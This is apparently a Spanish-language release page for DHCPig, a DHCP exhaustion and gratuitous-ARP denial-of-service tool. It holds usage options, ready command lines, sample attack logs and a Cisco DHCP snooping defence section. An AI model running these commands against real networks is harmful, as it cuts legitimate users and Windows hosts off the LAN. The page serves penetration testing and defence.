Volver a actualizaciones
Nuevo releaseAug 2, 2026

DHCPig v2.7.2

Script de agotamiento de DHCP escrito en Python utilizando la librería de red scapy.

Compartir

DHCPig

Tags#: DHCP, IPv4, IPv6, exhaustion, pentest, fuzzing, security, scapy

RESUMEN

DHCPig inicia un ataque avanzado de agotamiento de DHCP. Consumirá todas las direcciones IP de la LAN, impedirá que nuevos usuarios obtengan IPs, liberará cualquier IP en uso y, para colmo, enviará ARP gratuito y dejará fuera de línea a todos los hosts Windows.

Requiere la librería scapy >=2.1 y privilegios de administrador para ejecutarse. No se necesita configuración; basta con pasar la interfaz como parámetro. Se ha probado en múltiples distribuciones de Linux y múltiples servidores DHCP (ISC, Windows 2k3/2k8,..).

Cuando se ejecute, el script realizará las siguientes acciones:

  • Obtén las IP de tus vecinos antes de que lo hagan
    Escucha peticiones DHCP de otros clientes; si se detecta una oferta, responde con una petición para esa oferta.

  • Solicita todas las direcciones IP disponibles en la Zona
    Bucle que envía peticiones DHCP, todas desde diferentes hosts y direcciones MAC

  • Encuentra la MAC y la IP de tus vecinos y libera su IP del servidor DHCP
    Haz ARP a todos los vecinos de esa LAN y luego envía DHCPReleases al servidor

Finalmente, el script esperará el agotamiento de DHCP (es decir, que no se reciban DHCP OFFERs durante 10 segundos) y entonces

  • Deja fuera de línea a todos los sistemas Windows
    Envía ARP gratuito a la LAN y, como no hay más direcciones DHCP disponibles, estos sistemas Windows deberían permanecer sin conexión. Los sistemas Linux no renunciarán a su IP aunque se detecte otro sistema en la LAN con la misma IP.

PROTOCOLO

  • IPv4

    • SECUENCIA
      1. ----> DHCP_DISCOVER
      2. <---- DHCP_OFFER
      3. ----> DHCP_REQUEST
      4. <---- DHCP_REPLY (ACK/NACK)
    • Detección de sondeo de DHCPd (DHCPd a menudo comprueba si la IP está en uso)
      • Comprueba si hay ARP_Snoops
      • Comprueba si hay ICMP Snoops
  • IPv6

    • SECUENCIA
      1. ----> DHCP6_SOLICIT
      2. <---- DHCP6_ADVERTISE
      3. ----> DHCP6_REQUEST
      4. <---- DHCP6_REPLY
    • Detección de sondeo de DHCPd (DHCPd a menudo comprueba si la IP está en uso)
      • Comprueba si hay ICMPv6 Snoops

USO

enhanced DHCP exhaustion attack plus.

Usage:
    pig.py [-h -v -6 -1 -s -f -t -a -i -o -l -x -y -z -g -r -n -c ] <interface>
  
Options:
    -h, --help                     <-- you are here :)
    -v, --verbosity                ...  0 ... no         (3)
                                        1 ... minimal
                                       10 ... default
                                       99 ... debug
                                       
    -6, --ipv6                     ... DHCPv6 (off, DHCPv4 by default)
    -1, --v6-rapid-commit          ... enable RapidCommit (2way ip assignment instead of 4way) (off)
    
    -s, --client-src               ... a list of client macs 00:11:22:33:44:55,00:11:22:33:44:56 (Default: <random>)
	-S, --ethernet-mac             ... Use identical MAC addresses on the Ethernet frame and DHCP frame (off)
    -O, --request-options          ... option-codes to request e.g. 21,22,23 or 12,14-19,23 (Default: 0-80)
    
    -f, --fuzz                     ... randomly fuzz packets (off)

    -t, --threads                  ... number of sending threads (1)
    
    -a, --show-arp                 ... detect/print arp who_has (off)
    -i, --show-icmp                ... detect/print icmps requests (off)
    -o, --show-options             ... print lease infos (off)
    -l, --show-lease-confirm       ... detect/print dhcp replies (off)
    
    -g, --neighbors-attack-garp    ... knock off network segment using gratious arps (off)
    -r, --neighbors-attack-release ... release all neighbor ips (off)
    -n, --neighbors-scan-arp       ... arp neighbor scan (off)
    
    -x, --timeout-threads          ... thread spawn timer (0.4)
    -y, --timeout-dos              ... DOS timeout (8) (wait time to mass grat.arp)
    -z, --timeout-dhcprequest      ... dhcp request timeout (2)
    
    -c, --color                    ... enable color output (off)

EJEMPLO

# requires root privileges to open raw sockets and set the interface in promiscuous mode
sudo ./pig.py eth1

./pig.py eth1
./pig.py --show-options eth1
./pig.py -x1 --show-options eth1

./pig.py -6 eth1
./pig.py -6 --fuzz eth1
./pig.py -6 -c -verbosity=1 eth1
./pig.py -6 -c -verbosity=3 eth1
./pig.py -6 -c -verbosity=100 eth1

./pig.py --neighbors-scan-arp -r -g --show-options eth1

DEPENDENCIAS

$ python -m pip install scapy
$ sudo apt-get install libpcap0.8

HISTORIAL DE CAMBIOS

 1.6 : 2024-01 
     * support for python3 & scapy 2.5.0 via charles2910, k4l3b & maniaque
 1.5 : 2017-1 
     * Better support for WiFi.  pig no longer spoofs the ethernet frame src MAC address, just chaddr.  
     * Updated DHCP fingerprint to match existing operating systems.  Some routers will only respond to known devices.
     * Changed the BOOTP flag to broadcast from unicast.  FIOS routers will only respond if broadcast BOOTP option is set.
     * Feedback welcome, pig is now running well on the networks we have tested on.
1.0 : 2015-1
     * more options, fixed v6 supoprt (LL src addr), color output, minimal and debug output
     * more options, double the fun: scapy fuzzing, ipv6 support
     * more options, more fun: show options/show icmp/show arp
     * fixed indents, beautify doc, eyefriendly one-line-logging

CAPTURAS

IPv4

x@<:/src/DHCPig# ./pig.py -c -v3  -l -a -i -o eth2
[ -- ] [INFO] - using interface eth2
[DBG ] Thread 0 - (Sniffer) READY
[DBG ] Thread 1 - (Sender) READY
[--->] DHCP_Discover
[ <- ] ARP_Request 172.20.0.40 from 172.20.15.1
[--->] DHCP_Discover
[ <- ] ARP_Request 172.20.0.41 from 172.20.15.1
[--->] DHCP_Discover
[ <- ] ARP_Request 172.20.0.42 from 172.20.15.1
[<---] DHCP_Offer   00:0c:29:da:53:f9   0.0.0.0 IP: 172.20.0.40 for MAC=[de:ad:26:4b:d3:40]
[DBG ]  * xid=154552584
[DBG ]  * CIaddr='0.0.0.0'
[DBG ]  * YIaddr='172.20.0.40'
[DBG ]  * SIaddr='0.0.0.0'
[DBG ]  * GIaddr='0.0.0.0'
[DBG ]  * CHaddr='\xde\xad&K\xd3@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[DBG ]  * Sname='ISCdhcpd'
[DBG ]          * message-type  (2,)
[DBG ]          * server_id     ('172.20.15.1',)
[DBG ]          * lease_time    (60000,)
[DBG ]          * subnet_mask   ('255.254.0.0',)
[DBG ]          * router        ('172.20.15.1',)
[DBG ]          * 39    ('\x01\x01\x01\x00\xac\x14\x0f\x01',)
[--->] DHCP_Request 172.20.0.40
[ <- ] ARP_Request 172.20.0.40 from 172.20.15.1
[--->] DHCP_Discover
[ <- ] ARP_Request 172.20.0.41 from 172.20.15.1
^C[ -- ]  -----  ABORT ...  -----
[DBG ] Waiting for Thread 0 to die ...
[DBG ] Waiting for Thread 1 to die ...

IPv6

x@y:/src/DHCPig# ./pig.py -6 -c -v3  -l eth3
[ -- ] [INFO] - using interface eth3
[DBG ] Thread 0 - (Sniffer) READY
[DBG ] Thread 1 - (Sender) READY
[--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf3\xc7\xde\xad#d\xee\xed']
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:23:64:ee:ed'] - LEASE: IPv6[fc11:5:5:5::1:7120]
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:7120]
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:23:64:ee:ed'] - LEASE: IPv6[fc11:5:5:5::1:7120]
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:7120]
[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:23:64:ee:ed'] - LEASE: IPv6[fc11:5:5:5::1:7120]
[--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf3\xc8\xde\xad\x00|\xa8P']
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:7c:a8:50'] - LEASE: IPv6[fc11:5:5:5::1:e447]
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:e447]
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:7c:a8:50'] - LEASE: IPv6[fc11:5:5:5::1:e447]
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:e447]
[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:7c:a8:50'] - LEASE: IPv6[fc11:5:5:5::1:e447]
[--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf3\xc8\xde\xad%\x07\nQ']
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:25:07:0a:51'] - LEASE: IPv6[fc11:5:5:5::1:2644]
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:2644]
[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:25:07:0a:51'] - LEASE: IPv6[fc11:5:5:5::1:2644]


x@y:/src/DHCPig# ./pig.py -6 -c -v3  -l -a -i -o eth3
[ -- ] [INFO] - using interface eth3
[DBG ] Thread 0 - (Sniffer) READY
[DBG ] Thread 1 - (Sender) READY
[--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf4\x1d\xde\xad\x00`wg']
[ <- ] v6 ICMP REQUEST FROM [00:0c:29:da:53:ef] -> [fe80::20c:29ff:fef8:a1c8]
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:60:77:67'] - LEASE: IPv6[fc11:5:5:5::1:4e89]
[DBG ]  * <bound method DHCP6_Advertise.show of <DHCP6_Advertise  msgtype=ADVERTISE trid=0xfb5429
[DBG ]  * DHCP6OptIA_NA  optcode=IA_NA optlen=40 iaid=0xf T1=0 T2=0 ianaopts=[<DHCP6OptIAAddress  optcode=IAADDR optlen=24 addr=fc11:5:5:5::1:4e89 preflft=375 validlft=600 |>]
[DBG ]  * DHCP6OptClientId  optcode=CLIENTID optlen=14 duid=<DUID_LLT  type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Fri, 27 Mar 2043 13:29:01 +0000 (2311075741) lladdr=de:ad:00:60:77:67 |>
[DBG ]  * DHCP6OptServerId  optcode=SERVERID optlen=14 duid=<DUID_LLT  type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Tue, 26 Mar 2013 08:31:13 +0000 (1364286673) lladdr=00:0c:29:da:53:ef |>
[DBG ]  * DHCP6OptDNSServers  optcode=DNS Recursive Name Server Option optlen=32 dnsservers=[ fc11:5:5:5::99, fc11:5:5:5::98 ]
[DBG ]  * DHCP6OptNISPServers  optcode=OPTION_NISP_SERVERS optlen=16 nispservers=[ fc11:5:5:5::100 ]
[DBG ]  * DHCP6OptNISPDomain  optcode=OPTION_NISP_DOMAIN_NAME optlen=11 nispdomain='myNISname' |>>>>>>>>
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:4e89]
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:60:77:67'] - LEASE: IPv6[fc11:5:5:5::1:4e89]
[DBG ]  * <bound method DHCP6_Advertise.show of <DHCP6_Advertise  msgtype=ADVERTISE trid=0xfb5429
[DBG ]  * DHCP6OptIA_NA  optcode=IA_NA optlen=40 iaid=0xf T1=0 T2=0 ianaopts=[<DHCP6OptIAAddress  optcode=IAADDR optlen=24 addr=fc11:5:5:5::1:4e89 preflft=375 validlft=600 |>]
[DBG ]  * DHCP6OptClientId  optcode=CLIENTID optlen=14 duid=<DUID_LLT  type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Fri, 27 Mar 2043 13:29:01 +0000 (2311075741) lladdr=de:ad:00:60:77:67 |>
[DBG ]  * DHCP6OptServerId  optcode=SERVERID optlen=14 duid=<DUID_LLT  type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Tue, 26 Mar 2013 08:31:13 +0000 (1364286673) lladdr=00:0c:29:da:53:ef |>
[DBG ]  * DHCP6OptDNSServers  optcode=DNS Recursive Name Server Option optlen=32 dnsservers=[ fc11:5:5:5::99, fc11:5:5:5::98 ]
[DBG ]  * DHCP6OptNISPServers  optcode=OPTION_NISP_SERVERS optlen=16 nispservers=[ fc11:5:5:5::100 ]
[DBG ]  * DHCP6OptNISPDomain  optcode=OPTION_NISP_DOMAIN_NAME optlen=11 nispdomain='myNISname' |>>>>>>>>
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:4e89]
[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:60:77:67'] - LEASE: IPv6[fc11:5:5:5::1:4e89]
^C[ -- ]  -----  ABORT ...  -----
[DBG ] Waiting for Thread 0 to die ...
[DBG ] Waiting for Thread 1 to die ...

Salida mínima (verbosity=1)

. = DHCP_Discovery
! = DHCP_Offer
; = ICMP/ARP/DHCP_ACKs
D = DEBUG output (show options, etc.)
E = ERROR
N = NOTICE / INFO

x@y:/src/DHCPig# ./pig.py -6 -c -v1 -a -i -o -l eth3
WARNING: No route found for IPv6 destination :: (no default route?)
NDD.!DDDDDDD.!DDDDDDD.;;;;.!DDDDDDD.!DDDDDDD.;;;;.!DDDDDDD.;.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;.!DDDDDDD.;tcpdump: WARNING: eth3: no IPv4 address assigned
.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;;.!DDDDDDD.!DDDDDDD.;;^CNDD

x@y:/src/DHCPig# ./pig.py -6 -c -v1  -l eth3
NDD!.!.;;;;.!.!.;;;;.!.;.!.!.;;.!.;.!.!.;;.!.;.!.;.!.!.;;.!.;^CNDD

DEFENSA

El enfoque más común para defenderse del agotamiento de DHCP es mediante la conmutación en la capa de acceso o los controladores inalámbricos.

En la conmutación de Cisco, la opción más sencilla es habilitar DHCP snooping. El snooping defiende contra el agotamiento del pool, el secuestro de IP y la suplantación del servidor DHCP, todos ellos utilizados por DHCPig. Según el tráfico examinado, DHCP snooping creará una tabla de asignación de IP a MAC en cada puerto. Los puertos de acceso de usuario quedan entonces restringidos únicamente a la IP asignada. Cualquier mensaje de servidor DHCP que provenga de puertos no confiables es filtrado.

Habilita lo siguiente para defenderte contra el agotamiento del pool, el secuestro de IP y la suplantación del servidor DHCP:

  • habilita el snooping

    ip dhcp snooping

  • especifica el puerto con el que está asociado tu DHCP. Lo más probable es que sea tu uplink. Hacer lo siguiente limitará las respuestas del servidor DHCP únicamente al puerto especificado, así que úsalo después de probarlo en un entorno de laboratorio.

    int fa0/1 (or correct interface)

    ip dhcp snooping trust

  • muestra el estado

    show ip dhcp snopping

    show ip dhcp snopping binding

  • información adicional: http://www.cisco.com/en/US/docs/switches/lan/catalyst4500/12.1/12ew/configuration/guide/dhcp.pdf

LICENCIA:

Todos estos scripts se publican bajo la GPL v2 o posterior. Para una descripción completa de la licencia, visita http://www.gnu.org/licenses/gpl.txt

DESCARGO DE RESPONSABILIDAD:

Toda la información y el software disponibles en este sitio son solo con fines educativos. El autor no es responsable de ningún uso indebido de la información.

//Kevin

//tintin

Categorías